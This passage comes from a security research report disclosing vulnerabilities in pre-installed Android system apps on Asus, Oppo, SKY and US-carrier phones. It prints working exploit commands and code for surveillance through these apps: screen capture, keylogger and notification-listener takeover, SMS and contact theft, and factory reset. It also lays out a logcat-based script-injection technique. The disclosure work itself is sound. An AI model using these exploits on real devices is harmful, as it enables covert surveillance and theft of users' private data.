gesture data to the logcat log 3.1 Vulnerable US Carrier Android Devices Each US carrier has a stable of Android devices that it makes available to consumers. These devices are generally locked on the carrier’s network, although they may become unlocked after a certain period of time has elapsed. Moreover, devices sold by a carrier tend to come pre-loaded with carrier apps. Table 2 contains the vulnerabilities we discovered on Android devices sold by US carriers. Table 2. Vulnerabilities Found in US Carrier Android Devices. Carrier Device Vulnerability Verizon Asus ZenFone V Live Arbitrary command execution as system user Verizon Asus ZenFone V Live Take screenshot Sprint Essential Phone Programmatic factory reset AT&T ZTE Blade Spark Write modem and logcat logs to external storage AT&T LG Phoenix 2 Write modem and logcat logs to external storage Verizon ZTE Blade Vantage Write modem and logcat logs to external storage Multiple carriers LG G6 Write logcat logs to attacking app’s private directory Multiple carriers LG G6 Lock the user out of their device (requiring a factory reset to recover in most cases) Multiple carriers LG G6 Dump logcat log, kernel log, IMEI, and serial number to external storage T-Mobile Coolpad Defiant Obtain and modify user’s text messages T-Mobile Coolpad Defiant Send arbitrary text messages T-Mobile Coolpad Defiant Obtain phone numbers of user’s contacts T-Mobile Coolpad Defiant Programmatic factory reset T-Mobile Revvl Plus Obtain and modify user’s text messages T-Mobile Revvl Plus Send arbitrary text messages T-Mobile Revvl Plus Obtain phone numbers of user’s contacts T-Mobile Revvl Plus Programmatic factory reset T-Mobile ZTE Zmax Pro Obtain and modify user’s text messages T-Mobile ZTE Zmax Pro Send arbitrary text messages T-Mobile ZTE Zmax Pro Obtain phone numbers of user’s contacts T-Mobile ZTE Zmax Pro Write modem and logcat logs to external storage Cricket Wireless Coolpad Canvas Change system properties as the phone user Cricket Wireless Coolpad Canvas Write logcat log, kernel log, and tcpdump capture to external storage Total Wireless ZTE Zmax Champ Programmatic factory reset 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Total Wireless ZTE Zmax Champ Brick device with a consistent crashing in recovery mode Total Wireless ZTE Zmax Champ Write modem and logcat logs to external storage 3.2 Popular Android Devices in Asia We obtained three Android devices from their official vendor stores in Kuala Lumpur, Malaysia. Specifically, we bought the following devices: Oppo F5, Vivo V7, and Leagoo P1. At the time of purchase (early February 2018), the Oppo and Vivo devices we purchased were flagship models. Each of these devices had concerning vulnerabilities that are shown at the bottom of Table 1. The Oppo and Vivo devices contain vulnerabilities that can be used to facilitate surveillance of the end-user. The vulnerabilities appear to be unused by the device for any malicious purpose, although they can be leveraged by any third-party app that is aware of their presence. BBK Electronics9 produces a large range of electronics including three popular smartphone brands: Oppo, Vivo, and OnePlus. Oppo and Vivo Android devices are not well known in the US, but they are popular in Asia. Oppo was the top seller of smartphone units in China for 201610. Oppo and Vivo were the third and fourth largest suppliers of smartphones in India for the first quarter of 2018 with each vendor having 6% market share11. Furthermore, both Oppo and Vivo had 7.4% and 5.2%, respectively, global market share for smartphones shipped in the first quarter of 2017. Leagoo is smaller than the other two vendors, but has recently made headlines about launching its S9 device at Mobile World Congress 201812. To determine if the vulnerabilities we discovered were being actively used by malicious apps, we “scraped” 118K apps from the Xiaomi app marketplace13. We did not witness any instances of the vulnerabilities we discovered being used in the apps we processed. We are still in the processing of scraping additional app marketplaces to determine if these vulnerabilities are actively being exploited elsewhere. 4. Arbitrary Command Execution as the system User We found 3 instances of arbitrary command execution as the system user from the following vendors: Asus, Oppo, and SKY. All of the instances were due to a platform app executing as the system user containing an exposed interface that allows any app co-located on the device to provide arbitrary commands to be executed. Executing commands as the system user is a powerful capability that can be used to surreptitiously surveil the user. Using this capability, a video can be recorded of the device’s screen, affording the user no privacy. Android allows the screen to be recorded by privileged processes via the /system/bin/screenrecord command. The Oppo F5 device does not allow the screen to be recorded through the standard screenrecord command, although the device allows screenshots to be taken of the screen via the screencap command. Beyond the lack of privacy due to observing all on-screen activity of the user, anything that the user enters can also be viewed and obtained (e.g., passwords, credit card numbers, 9 http://www.gdbbk.com/ 10 https://techcrunch.com/2017/02/05/oppo-topped-chinas-smartphone-market-in-2016/ 11 https://economictimes.indiatimes.com/tech/hardware/xiaomi-jiophone-widen-leads-in-smartphone-feature-phone-markets- respectively-counterpoint/articleshow/63887110.cms 12 https://www.engadget.com/2018/03/03/for-this-iphone-clone-maker-its-all-about-survival/ 13 http://app.mi.com/ 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] social security numbers, etc.). Command execution as the system user can allow an app to programmatically set itself as a notification listener. A notification listener can receive the text of the user’s notifications as notifications are received14. In the normal case, a user must explicitly enable an installed app as a notification listener using the Settings app. An app executing as the system user can programmatically add an app (e.g., itself) to the list of approved notification listeners using the settings put secure enabled_notification_listeners <package name>/<component name> command. This enables the app to receive the text of the notifications, allowing the app to see received text messages, Facebook Messenger messages, WhatsApp messages, and also any arbitrary notification that is received. The logcat log is also accessible to the system user and can be written to a location that is visible to other applications. The data that can be obtained from the logcat log is provided in Section 5. Moreover, the attacking app can programmatically set itself as the default Input Method Editor (IME) and capture the input that the user enters by replacing the default keyboard with one that the attacking app has implemented within its own code15. The new IME would raise suspicious if it did not resembled the target’s default keyboard. The key presses can be transferred to the malicious app from the malicious IME via a dynamically-registered broadcast receiver. The attacking app can also set one of its components as the default spell checker16. Table 3 shows the capabilities that were verified using the vulnerable platform app to execute commands as the system user. The differences are due to the Android version and SELinux rules of the respective devices. Table 3. Verified Capabilities on the Devices with a Vulnerable Platform App. Device Asus ZenFone V Live Asus ZenFone 3 Max Oppo F5 SKY Elite 6.0L+ Obtain text messages X X X Obtain call log X X X Obtain contacts X X X Set as keyboard (keylogger) X X X X Set as notification listener X X X X Factory Reset X X X X Call phone number X X X X Take Screenshot X X X X Record video X X X Install app X Set as spell checker X X X Write logcat log X X X X Below are some commands that are verified to work when executed as the system user via a vulnerable app that exposes this capability on some of the devices we tested. Some of the commands below can be used to directly write the output, if any, to the attacking app’s private directory (see Section 4.1.1 and Section 4.1.2 for details) instead of using external storage for a temporary transfer location. Notably, SELinux on the Asus ZenFone V Live prevents its vulnerable platform app from directly reading from or writing to an app’s private directory; therefore, the approach is Section 4.1.1 is necessary for make the vulnerable app write a shell script via logcat and transfer the output via broadcast intents. 14 https://developer.android.com/reference/android/service/notification/NotificationListenerService 15 https://developer.android.com/guide/topics/text/creating-input-method 16 https://developer.android.com/guide/topics/text/spell-checker-framework 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Record the user’s screen for 60 seconds /system/bin/screenrecord --time-limit 60 /sdcard/sixtyseconds.mp4 Take screenshot /system/bin/screencap -p /sdcard/notapic.png Set your app as a notification listener /system/bin/settings put secure enabled_notification_listeners com.my.app/.NotSomeNotificationListenerService Set your app as a spell checker providing partial keylogger functionality /system/bin/settings put secure selected_spell_checker com.my.app/.NotSomeSpellCheckingService Set your app as the default IME (keyboard) for keylogger functionality /system/bin/settings put secure enabled_input_methods <ones that were already there>:com.my.app/.NotSomeKeyboardService /system/bin/settings put secure default_input_method com.my.app/.NotSomeKeyboardService Obtain the logcat log /system/bin/logcat -d -f /sdcard/notthelogdump.txt /system/bin/logcat -f /sdcard/notthelog.txt Inject touch, gestures, key events, and text /system/bin/input tap 560 1130 /system/bin/input swipe 540 600 540 100 200 /system/bin/input keyevent 3 66 67 66 /system/bin/input text scuba Call a phone number am start -a android.intent.action.CALL -d tel:800-555-5555 Factory reset the device am broadcast -a android.intent.action.MASTER_CLEAR Get all of the user’s text messages content query --uri content://sms Get all of the user’s call log content query --uri content://call_log/calls Get all of the user’s contacts content query --uri content://contacts/people Set certain system properties (seems limited to persist.*) setprop persist.sys.diag.mdlog 1 Change arbitrary settings 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] settings put secure install_non_market_apps 1 Disabled third-party apps pm disable com.some.undesirable.app 4.1 Executing Scripts as the system User The three instances of command execution as the system user that we found all use the java.lang.Runtime.exec(String) Application Programming Interface (API) call to execute commands. This API call executes a single command and does not allow input and output redirection that the shell provides. This behavior is limiting, so we created a method to have the app that allows command execution to execute shell scripts without reading them from the SD card. This relieves the attacking app from having to request the READ_EXTERNAL_STORAGE permission, although the attacking app can create the request to access external storage and use the vulnerable app to inject input events to grant it the permission if runtime permission granting is present on the device. Nonetheless, to be stealthier, the approach we outline below alleviates access to the SD card for certain data (recording the screen, text messages, contacts, call log, etc.). All devices allow a script written to the attacking app’s private directory to be executed by a platform app and for the output to be written directly to the attacking app’s private directory, except the Asus ZenFone V Live device. It’s vulnerable platform app will be blocked from reading from or writing to the attacking app’s private directory. Therefore, we provide two different methods for data transfer. Section 4.1.1 is the most robust and removes any difficulty with SELinux blocking a platform app reading from or writing to the attacking app’s private directory. Section 4.1.2 details the instance where the platform app is not prevented from writing directly to the attacking app’s private directory. 4.1.1 Transferring Data Using a Dynamically-Registered Broadcast Receiver Our approach uses the logcat log to have the vulnerable platform app write a shell script to its private directory. First, the attacking app selects a random 12-character alphanumeric log tag (e.g., UQ2h9hVRhLfg) so that the vulnerable app will not read in log messages that are not intended for it. In addition, the attacking app should dynamically register a broadcast receiver with an action string of the selected 12 random character string. The attacking app then proceeds to write log messages with the selected log tag containing the lines of the script to execute. In the script, the attacking app needs to transfer the data obtained from the private directory of the vulnerable app to the private directory of the attacking app. This is accomplished by having the vulnerable app read in a file from its internal directory and sending it in an intent to the broadcast receiver that was dynamically registered by the attacking app. For example, the attacking app can write the following log messages to create a script that will make the vulnerable app send it the user’s text messages where -p <package name> is the package name of the attacking app. The commands below uses the com.asus.splendidcommandagent app as an example. Log.d("UQ2h9hVRhLfg", "#!/bin/sh"); Log.d("UQ2h9hVRhLfg", "content query --uri content://sms > /data/data/com.asus.splendidcommandagent/msg.txt"); Log.d("UQ2h9hVRhLfg", "am broadcast -a UQ2h9hVRhLfg -p <package name> --es data \"$(cat /data/data/com.asus.splendidcommandagent/msg.txt)\""); After writing these log messages which are the lines of the shell script to execute, the attacking app then makes the vulnerable app write the script to the vulnerable app’s private directory. 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh -d The command above will only write the log messages excluding the log tags to a file in the vulnerable app’s private directory. In the example above of writing log messages to the logcat log, the corresponding file named /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh will contain the content shown below. #!/bin/sh content query --uri content://sms > /data/data/com.asus.splendidcommandagent/msg.txt am broadcast -a UQ2h9hVRhLfg -p <package name> --es data "$(cat /data/data/com.asus.splendidcommandagent/msg.txt)" In the logcat command to make the vulnerable app write the shell script to its private directory, the -v raw argument will only contain the log messages and not the log tags. The -b main argument will only contain the main log buffer and not include a message indicating the start of the system and main logs. The -s UQ2h9hVRhLfg:* *:S arguments will only write the log messages from the log tag of UQ2h9hVRhLfg and silence all other log messages without a log tag of UQ2h9hVRhLfg. The -d argument will make logcat dump the current messages in the targeted log buffer(s) and exit so that it does not keep reading. The -f /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh argument will write the contents of the log to the file indicated. This command will write the script to the vulnerable app’s private directory. The attacking app can then have the vulnerable app make the shell script executable and then execute the shell script with the following commands. chmod 770 /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh sh /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh Then the attacking app can record the data it receives to its broadcast receiver that is dynamically-registered with an action of UQ2h9hVRhLfg to a file or send it out over a network socket to a remote server. 4.1.2 Transferring Data Directly Using a File in the Attacking App’s Private Directory Certain device allow the vulnerable platform app write the output file directly into the attacking app’s private directory. This approach is similar to the previous approach although the data transfer approach is different. First, the attacking app needs to make their private directory (i.e., /data/data/the.attacking.app) globally executable. Then the attacking app needs to create the target file that will be written by the vulnerable app (i.e., msg.txt in this example). Then the msg.txt file needs to be set as globally writable. If the the file was not created first, the vulnerable app will create a file in the attacking app’s private directory that is owned by the system user and it will not be able to be read by the attacking app. Alternatively, the attacking app can have the platform app create the file in its private directory and then change the file permissions to be very permissive so it will be accessible to the attacking app (e.g., msg.txt). Creating the target file and changing the file permissions allows the attacking app to own the target file and will allow the vulnerable platform app to write to it. The attacking app selects a random 12-character alphanumeric log tag (e.g., UQ2h9hVRhLfg) in order to avoid a potential collision with any other apps that happen to use the same log tag. This example, will 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] achieve the same objective as the previous method in obtaining the user’s text messages. The attacking app then writes a shell script of its choosing to the logcat log using the log tag that was selected earlier. Log.d("UQ2h9hVRhLfg", "#!/bin/sh"); Log.d("UQ2h9hVRhLfg", "content query --uri content://sms > /data/data/the.attacking.app/msg.txt"); The attacking app then forces the vulnerable platform app to write the shell script to its private directory by making it execute the command shown below which writes the content of the log messages that the attacking app wrote to the log with the log tag of UQ2h9hVRhLfg. logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh -d Then the attacking app makes the vulnerable platform app execute the shell script it just wrote to its private directory. The commands below make the vulnerable app change the file permissions on the shell script so it is executable and then execute the shell script. chmod 770 /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh sh /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh The shell script will make the vulnerable platform app obtain all of the user’s text messages and write them to a file in the attacking app’s private directory (i.e., /data/data/the.attacking.app/msg.txt). At this point, the attacking app has the user’s text messages and can execute additional shell scripts using this method. This approach also works for recording the user’s screen and writing the logcat log directly to the private directory of the attacking app, although SELinux may deny the search operation on the app’s private directory on certain devices. 4.2 Asus Command Execution Vulnerability Details The com.asus.splendidcommandagent platform app executes as the system user since it sets the android:sharedUserId attribute to a value of android.uid.system in its AndroidManifest.xml file and is signed with the device platform key. The SplendidCommandAgentService service application component within the com.asus.splendidcommandagent app executes with a process name of com.asus.services. This is a result of the SplendidCommandAgentService component setting the android:process attribute to a value of com.asus.services in its AndroidManifest.xml file. The output of the ps command below shows that the SplendidCommandAgentService component within the com.asus.splendidcommandagent app executes as the system user. adb shell ps | grep com.asus.services system 2049 612 1645812 58560 SyS_epoll_ 0000000000 S com.asus.services The SplendidCommandAgentService operates as a bound service where other apps interact with it using a pre-defined interface with a fully-qualified name of com.asus.splendidcommandagent.ISplendidCommandAgentService via RPCs. This interface exposes a single method named doCommand(String). In the com.asus.splendidcommandagent app, the com.asus.splendidcommandagent.c class fulfills the ISplendidCommandAgentService interface by containing an implementation for the single method defined in the interface. Therefore, a call to the 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] ISplendidCommandAgentService interface by the attacking app will be unmarshalled and delivered to the corresponding method in the com.asus.splendidcommandagent.c class in the com.asus.splendidcommandagent app. Although we lacked the AIDL file for the ISplendidCommandAgentService interface to generate an appropriate interface stub in our app to call directly, the single interface method can still be accessed without an interface stub. This is accomplished by binding to the SplendidCommandAgentService service, obtaining an IBinder reference, creating and populating the Parcel objects, and calling the appropriate transaction code when calling the IBinder.transact(int, Parcel, Parcel, int) method on the ISplendidCommandAgentService interface. This RPC on a remote object will, in turn, call the com.asus.splendidcommandagent.c.doCommand(String) method in the com.asus.splendidcommandagent app. The com.asus.splendidcommandagent.c.doCommand(String) method will call the SplendidCommandAgentService.a(SplendidCommandAgentService,String) method that performs the command execution using the java.lang.Runtime.exec(String) method. The string that is executed in the Runtime.exec(String) method call is controlled by the attacking app and is passed to the SplendidCommandAgentService via a string parameter in a Parcel object. Appendix A contains Proof of Concept (PoC) code for devices with a vulnerable com.asus.splendidcommandagent platform app to execute a command to programmatically factory reset the device. The command to programmatically factory reset the device is am broadcast -a android.intent.action.MASTER_CLEAR, although this command can be replaced with the commands in Section 4. The commands that can be executed will likely be affected by the major version of Android that the affected device is running. 4.3 Affected Asus Android Devices Table 4 provides a sampling of Asus Android devices that contain a pre-installed, vulnerable version of the com.asus.splendidcommandagent platform app. A vulnerable version of the com.asus.splendidcommandagent app was also present on Asus Android tablet devices, except for the Asus ZenPad S 8.0 tablet. The com.asus.splendidcommandagent app (versionCode=1510200045, versionName=1.2.0.9_150915) on the Asus ZenPad S 8.0 tablet actually filtered the commands it received, and would only accept and execute the following commands: HSVSetting, GammaSetting, and DisplayColorSetting. At a certain point around March, 2017, this restriction was removed, and the com.asus.splendidcommandagent app would accept and execute any command without pre-condition other than it not be an empty string. We never saw any User ID (UID) checking or protection of the vulnerable service application component with a signature-level custom permission. Table 4. Asus Devices with a vulnerable com.asus.splendidcommandagent app. Device Status Build Fingerprint Asus ZenFone V Live (Verizon) Vulnerable asus/VZW_ASUS_A009/ASUS_A009:7.1.1/NMF26F/14.0610.1802.78- 20180313:user/release-keys Asus ZenFone 3 Max Vulnerable asus/US_Phone/ASUS_X008_1:7.0/NRD90M/US_Phone- 14.14.1711.92-20171208:user/release-keys Asus ZenFone 3 Ultra Vulnerable asus/JP_Phone/ASUS_A001:7.0/NRD90M/14.1010.1711.64- 20171228:user/release-keys Asus ZenFone 4 Max Vulnerable asus/WW_Phone/ASUS_X00ID:7.1.1/NMF26F/14.2016.1803.232- 20180301:user/release-keys Asus ZenFone 4 Max Pro Vulnerable asus/WW_Phone/ASUS_X00ID:7.1.1/NMF26F/14.2016.1803.232- 20180301:user/release-keys 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Asus ZenFone 4 Selfie Vulnerable asus/WW_Phone/ASUS_X00LD_3:7.1.1/NMF26F/14.0400.1802.190- 20180202:user/release-keys Asus ZenFone Live Vulnerable asus/WW_Phone/zb501kl:6.0.1/MMB29P/13.1407.1801.57- 20180307:user/release-keys Asus ZenPad 10 Vulnerable asus/JP_P00C/P00C_2:7.0/NRD90M/JP_P00C-V5.3.20- 20171229:user/release-keys Asus ZenPad 3 8.0 Vulnerable asus/WW_P008/P008_1:7.0/NRD90M/WW_P008-V5.7.3- 20180110:user/release-keys Asus ZenPad S 8.0 Not Vulnerable asus/WW_P01M/P01M:6.0.1/MMB29P/WW_P01M-V5.6.0- 20170608:user/release-keys 4.4 Asus ZenFone 3 (ZE552KL) Vulnerability Timeline Table 5 shows when a particular build for a target market was introduced and whether the build contains a vulnerable version so the com.asus.splendidcommandagent platform app for the Asus ZenFone 3 (ZE552KL) device. The build fingerprint is provided to uniquely identify the build. The vulnerability was first introduced in the worldwide market in March, 2017 for the Asus ZenFone 3 device. All other markets became vulnerable within the next two months except for the Chinese market. This is due to the Chinese market being held at the Android 6.0.1 (API level 23) for at least 14 months while the worldwide market moved to Android 8.0 (API level 26). All markets other than China were still vulnerable as of the latest build available on Asus’ website17 that allows the downloading of historical firmwares. Table 5. Asus ZenFone 3 Vulnerability Timeline for Command Execution as system user. Target Market Release Date Status Build Fingerprint Japan 05/21/18 Vulnerable asus/JP_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0 410.1804.60-0:user/release-keys Worldwide 05/16/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0 410.1804.60-0:user/release-keys Worldwide 05/03/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0 410.1803.55-0:user/release-keys Worldwide 04/19/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0 410.1803.53-0:user/release-keys Japan 04/19/18 Vulnerable asus/JP_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0 410.1803.52-0:user/release-keys China 03/23/18 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1801. 197-20180302:user/release-keys Worldwide 03/15/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0 410.1802.44-0:user/release-keys Worldwide 02/12/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0 410.1801.40-0:user/release-keys China 02/12/18 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1801. 196-20180108:user/release-keys Worldwide 01/29/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0 410.1801.40-0:user/release-keys Japan 01/11/18 Vulnerable asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1712.85 -20171228:user/release-keys Worldwide 01/08/18 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1712.85 -20171228:user/release-keys Worldwide 12/22/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1711.83 -20171220:user/release-keys 17 https://www.asus.com/support/Download-Center/ 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Worldwide 12/15/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1711.79 -20171206:user/release-keys Japan 11/22/17 Vulnerable asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1711.75 -20171115:user/release-keys Worldwide 11/21/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1711.75 -20171115:user/release-keys Worldwide 10/13/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1709.68 -20171003:user/release-keys China 09/06/17 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1706. 184-20170817:user/release-keys Japan 08/08/17 Vulnerable asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1708.56 -20170719:user/release-keys Worldwide 08/03/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1708.56 -20170719:user/release-keys China 07/24/17 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1706. 181-20170710:user/release-keys Worldwide 07/14/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1706.53 -20170628:user/release-keys Italy 06/29/17 Vulnerable asus/TIM_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1704.4 1-20170526:user/release-keys Japan 05/17/17 Vulnerable asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1703.33 -20170424:user/release-keys Worldwide 04/21/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1703.28 -20170410:user/release-keys China 03/31/17 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1701. 170-20170323:user/release-keys Italy 03/28/17 Vulnerable asus/TIM_Phone/ASUS_Z012D:7.0/NRD90M/14.2015.1701.1 3-20170310:user/release-keys Worldwide 03/08/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2015.1701.8- 20170222:user/release-keys Japan 02/24/17 Not Vulnerable asus/JP_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1612. 161-20170205:user/release-keys China 01/09/17 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20.10.150- 20161214:user/release-keys Worldwide 12/28/2016 Not Vulnerable asus/WW_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20.10.152- 20161222:user/release-keys Worldwide 12/08/2016 Not vulnerable asus/WW_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20.10.140- 20161117:user/release-keys 4.5 Oppo F5 Command Execution as the system User The Oppo F5 Android device contains a platform app with a package name of com.dropboxchmod that executes as the system user. The Oppo F5 device we examined had a build fingerprint of OPPO/CPH1723/CPH1723:7.1.1/N6F26Q/1513597833:user/release-keys. Interestingly, the Oppo F5 does not come with the Dropbox Android app pre-installed with a standard package name of com.dropbox.android, although this could also be for the DropBoxService in the Android framework. The com.dropboxchmod app contains only a single application component named DropboxChmodService. This service app component is implemented by a single class and an anonymous class. Below is the AndroidManifest.xml of the app showing that the app has an android:sharedUserId attribute with a value of android.uid.system. In addition, the manifest shows that the DropBoxChmodService is explicitly exported and not permission-protected, making it accessible to any app on the device. 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:sharedUserId="android.uid.system" package="com.dropboxchmod" platformBuildVersionCode="25" platformBuildVersionName="7.1.1"> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name"> <service android:enabled="true" android:exported="true" android:name=".DropboxChmodService"/> </application> The primary class named DropBoxChmodService creates an anonymous thread object that has access to the intent that was received in the onStartCommand(Intent, int, int) lifecycle method. These anonymous thread objects will obtain the action string from the intent and execute it as the system user if the action string is not null and not an empty string. Since the DropBoxChmodService app component is exported and not permission-protected, any app co-located on the device can execute commands as the system user. Unlike the others, the DropBoxChmodService does not print the output of the executed command to the logcat log, although the approach detailed in Section 4.1.1 can be used to obtain the output of a command. Below is the code to execute as the system user on the Oppo F5 device where the action string to the intent will be executed. Intent i = new Intent(); i.setClassName("com.dropboxchmod", "com.dropboxchmod.DropboxChmodService"); i.setAction("chmod -R 777 /data"); startService(i); In the source code snippet above, a vulnerable Oppo Android device will recursively change the file permissions starting from the /data directory. This is useful to examine for non-standard files on the data partition. We examined an Intermediate Representation (IR) of the app code for the com.dropboxchmod platform app. We have recreated the source code for the onStartCommand service lifecycle method of the DropBoxChmodService class based on the IR for the app and is provided below. The onStartCommand method receives the Intent sent from the attacking app. @Override public int onStartCommand(final Intent intent, int flags, int startId) { new Thread() { public void run() { if (intent == null) { stopSelf(); return; } String action = intent.getStringExtra("action"); if (action.isEmpty()) { action = intent.getAction(); } Log.i("DropboxChmodService", "action = [" + action + "]"); if (action.isEmpty()) { stopSelf(); return; } try { Process process = Runtime.getRuntime().exec(action); Log.i("DropboxChmodService", "wait begin"); process.waitFor(); Log.i("DropboxChmodService", "wait end"); } catch (Exception e) { e.printStackTrace(); 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] } } }.start(); return super.onStartCommand(intent, flags, startId); } 4.5.1 Affected Oppo Android Devices We examined a range of Oppo devices from the markets in which they operate to estimate the scope of affected devices. Oppo makes their most recent firmware images for each device available on their website. The firmware images are segmented by country, where each country appears to have a different set of devices available to it. The Chinese market18 appears to have the most available firmware images to download, whereas the Egyptian market19 has less firmware images to download. Table 6 provides a chronologically-ordered listing of Oppo devices and whether or not they are vulnerable. This is not an exhaustive listing of the firmware images for Oppo Android devices. At a certain point, Oppo started to use an ozip file format to encapsulate their firmware images instead of the standard zip file format they used previously. We found a tool on XDA Developers from a member named cofface that helped to decrypt some of the ozip files20. Due to the new ozip file format, we were not able to examine all the firmware images we downloaded. The Oppo firmware images do not directly provide the ro.build.fingerprint property in the default properties file (i.e., /system/build.prop); therefore, we used the ro.build.description property instead. This property is similar and contains some of the same fields. Specifically, Table 6 is ordered by the date provided in ro.build.description property corresponding to the ro.build.date property (sometimes as a UNIX timestamp). The earliest date we witnessed where for the vulnerability was June 07, 2016 in the Oppo R7S device available to the Chinese market. Table 6. Oppo Vulnerability Timeline for Command Execution as system user. Device Country Status Build Description R7 Plus China Not Vulnerable full_oppo6795_15019-user 5.0 LRX21M 1465722913 dev- keys R7S China Vulnerable msm8916_64-user 5.1.1 LMY47V eng.root.20160713.211744 dev-keys Neo 5 Australia Not Vulnerable OPPO82_15066-user 4.4.2 KOT49H eng.root.1469846786 dev-key R7 Plus India Not Vulnerable msm8916_64-user 5.1.1 LMY47V eng.root.20160922.193102 dev-keys A37 India Vulnerable msm8916_64-user 5.1.1 LMY47V eng.root.20171008.172519 release-keys F1S Australia Vulnerable full_oppo6750_15331-user 5.1 LMY47I 1509712532 release-keys F5 Malaysia Vulnerable full_oppo6763_17031-user 7.1.1 N6F26Q 1516160348 release-keys R9 Australia Vulnerable full_oppo6755_15311-user 5.1 LMY47I 1516344361 release-keys F3 Pakistan Vulnerable full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys F3 Vietnam Vulnerable full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys 18 http://bbs.coloros.com/forum.php?mod=phones&code=download 19 https://oppo-eg.custhelp.com/app/soft_update 20 https://forum.xda-developers.com/android/software/cofface-oppo-ozip2zip-tool-t3653052 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] A77 Australia Vulnerable full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys R9 China Vulnerable full_oppo6755_15111-user 5.1 LMY47I 1519426429 dev- keys A39 Australia Vulnerable full_oppo6750_16321-user 5.1 LMY47I 1520521221 release-keys F3 Plus Pakistan Vulnerable msm8952_64-user 6.0.1 MMB29M eng.root.20180413.004413 release-keys R11 China Vulnerable sdm660_64-user 7.1.1 NMF26X eng.root.20180426.130343 release-keys A57 Philippines Vulnerable msm8937_64-user 6.0.1 MMB29M eng.root.20180508.104025 release-keys A59S China Vulnerable full_oppo6750_15131-user 5.1 LMY47I 1525865236 dev- keys A77 China Vulnerable msm8953_64-user 7.1.1 NMF26F eng.root.20180609.153403 dev-keys 4.6 SKY Elite 6.0L+ Arbitrary Command Execution as the system User The SKY Elite 6.0L+ device contains an app with a package name of com.fw.upgrade.sysoper (versionCode=238, versionName=2.3.8) that allows any app co-located on the device to have it execute commands as the system user. This app is developed by Adups, which is the same company that we discovered was surreptitiously exfiltrating PII to China21. This vulnerability is the same one that we have previously discovered, but the notable thing is that this device was purchased in March, 2018 from Micro Center in 